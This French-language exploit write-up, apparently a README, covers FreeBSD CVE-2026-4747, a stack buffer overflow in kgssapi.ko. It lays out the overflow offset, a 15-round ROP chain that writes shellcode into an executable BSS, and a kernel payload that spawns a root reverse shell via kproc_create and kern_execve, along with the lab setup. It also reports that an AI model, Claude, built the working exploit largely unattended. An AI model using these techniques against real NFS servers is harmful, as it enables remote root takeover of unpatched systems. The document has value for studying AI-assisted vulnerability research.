
Exploit RCE du noyau à distance pour FreeBSD CVE-2026-4747, un débordement de tampon de pile dans kgssapi.ko menant à un shell root via une chaîne ROP et du shellcode.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Débordement de tampon de pile dans kgssapi.ko → Shell root en ~4 heures
« Le premier exploit de RCE distante du noyau découvert et exploité par une IA. Temps total : ~4 heures de travail réel. »
— Découvert par Nicholas Carlini avec Claude (Anthropic) · Publié le 26 mars 2026
CVE-2026-4747 est une vulnérabilité de débordement de tampon de pile (stack buffer overflow) située dans kgssapi.ko, le module du noyau FreeBSD qui implémente l'authentification RPCSEC_GSS pour NFS.
La fonction svc_rpc_gss_validate() copie un corps d'identifiants contrôlé par l'attaquant vers un tampon de 128 octets sur la pile (rpchdr[]) sans vérifier la taille. Comme 32 octets sont déjà occupés par les champs de l'en-tête RPC, il ne reste que 96 octets libres — mais la couche XDR autorise des identifiants jusqu'à 400 octets, soit 304 octets de débordement.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-4747 |
| CWE | CWE-121 (Débordement de tampon basé sur la pile) |
| Composant | kgssapi.ko / librpcgss_sec |
| Protocole | NFS / RPCSEC_GSS / Kerberos |
| Privilège requis | Ticket Kerberos valide (faible privilège) |
| Impact | Exécution de code à distance dans le noyau → uid 0 |
| CVSS | 9.8 Critique |
| Corrigé | FreeBSD-SA-26:08.rpcsec_gss |
26 mars 2026 ── FreeBSD publie FreeBSD-SA-26:08.rpcsec_gss
Crédit : « Nicholas Carlini using Claude, Anthropic »
29 mars 2026 ── 09h45 PDT : Demande à Claude de développer un exploit
17h00 PDT : Claude livre un shell root fonctionnel
Total : ~7h de temps réel / ~4h de travail effectif de Claude
L'humain était AFK pendant une grande partie du processus.
/* Dans svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Tampon sur la pile */
/* 32 octets déjà consommés par les champs de l'en-tête RPC */
/* Il ne reste que 96 octets libres */
/* XDR autorise des identifiants jusqu'à 400 octets */
/* 400 - 96 = 304 octets de débordement → détournement RIP */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG : taille non vérifiée */
FreeBSD 14.x ne dispose pas de :
int32_t[])Cela rend le débordement → contrôle de RIP direct.
Attaquant (réseau)
│
│ Ticket Kerberos valide pour nfs/cible@REALM
│
▼
Serveur NFS (port 2049/TCP)
│
│ Requête RPCSEC_GSS avec credential_len = 400
│
▼
svc_rpc_gss_validate() ← noyau ring 0
│
│ memcpy sans vérification de taille
│ [tampon de 128 octets + 304 octets de débordement]
│
▼
Écrasement de pile → RIP contrôlé → chaîne ROP → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → shell inverse uid=0
Claude a résolu 6 problèmes distincts pour passer de l'advisory au shell root :
# VM FreeBSD 14.4-RELEASE avec :
# - 2+ CPU (FreeBSD génère 8 threads NFS par CPU ; l'exploit nécessite 15 rondes)
# - kgssapi.ko chargé
# - NFS actif sur le port 2049
# - KDC MIT Kerberos configuré (requis pour atteindre le code vulnérable)
# - Redirection de ports QEMU : hôte:2049 → invité:2049, hôte:8888 → invité:88 (KDC)
# Configuration Kerberos critique côté attaquant :
# /etc/krb5.conf
[libdefaults]
rdns = false # Sans cela : ticket pour nfs/localhost@REALM (incorrect)
dns_canonicalize_hostname = false # Le serveur rejette avec KRB5KRB_AP_WRONG_PRINC
Le shellcode mesure 432 octets mais seuls 200 octets sont disponibles pour la chaîne ROP par paquet.
Ronde 1 : ROP → pmap_change_prot(BSS, RWX) ← rendre le BSS exécutable
Rondes 2-14 : ROP → écrire 32 octets de shellcode dans le BSS (4 écritures × 8 octets)
Ronde 15 : ROP → écrire les derniers octets + SAUT vers le shellcode
Budget par ronde : 4 écritures × 40 octets = 160 octets + 24 octets de sortie = 184 octets ✓ (< 200)
; Chaque ronde se termine par kthread_exit(0) au lieu d'un retour normal
; Le serveur ne plante pas — il perd simplement un thread NFS
; Avec 2 CPU : 16 threads disponibles → suffisant pour 15 rondes
# Séquence De Bruijn → chaque sous-chaîne de 8 octets est unique
# Envoyer comme corps d'identifiants → le noyau plante → lire RIP du crash dump
# Le désassemblage indiquait offset 168 → réel : 200 octets
# Différence : 32 octets de l'en-tête GSS que l'analyse statique n'avait pas pris en compte
pattern = cyclic(400) # De Bruijn de 400 octets
# Crash dump : pointeur d'instruction = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
Le shellcode s'exécute dans un thread NFS purement noyau — sans vmspace, sans trapframe.
/* Phase 1 (dans le shellcode du thread NFS détourné) : */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* Tuer le thread NFS proprement */
/* Phase 2 (dans le nouveau processus) : */
/* 1. Nettoyer les registres de débogage (bug matériel - voir Étape 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. Exécuter /bin/sh */
kern_execve("/bin/sh", args, envp);
/* 3. CRITIQUE : Nettoyer le flag P_KPROC */
/* Sans cela, fork_exit() appelle kthread_exit() et tue le processus */
proc->p_flag &= ~P_KPROC;
/* 4. Retour → fork_exit() → userret() → iretq → ring 3 → shell uid=0 */
Symptôme : Le processus enfant plante avec trap 1 (exception de débogage) sur une instruction valide.
Cause : kproc_create/fork1 copie le PCB du parent, héritant des points d'arrêt de DDB
laissés par des crashes précédents pendant le développement de l'exploit.
Correctif : Deux instructions avant kproc_create :
xor eax, eax
mov dr7, rax ← Désactive tous les points d'arrêt matériels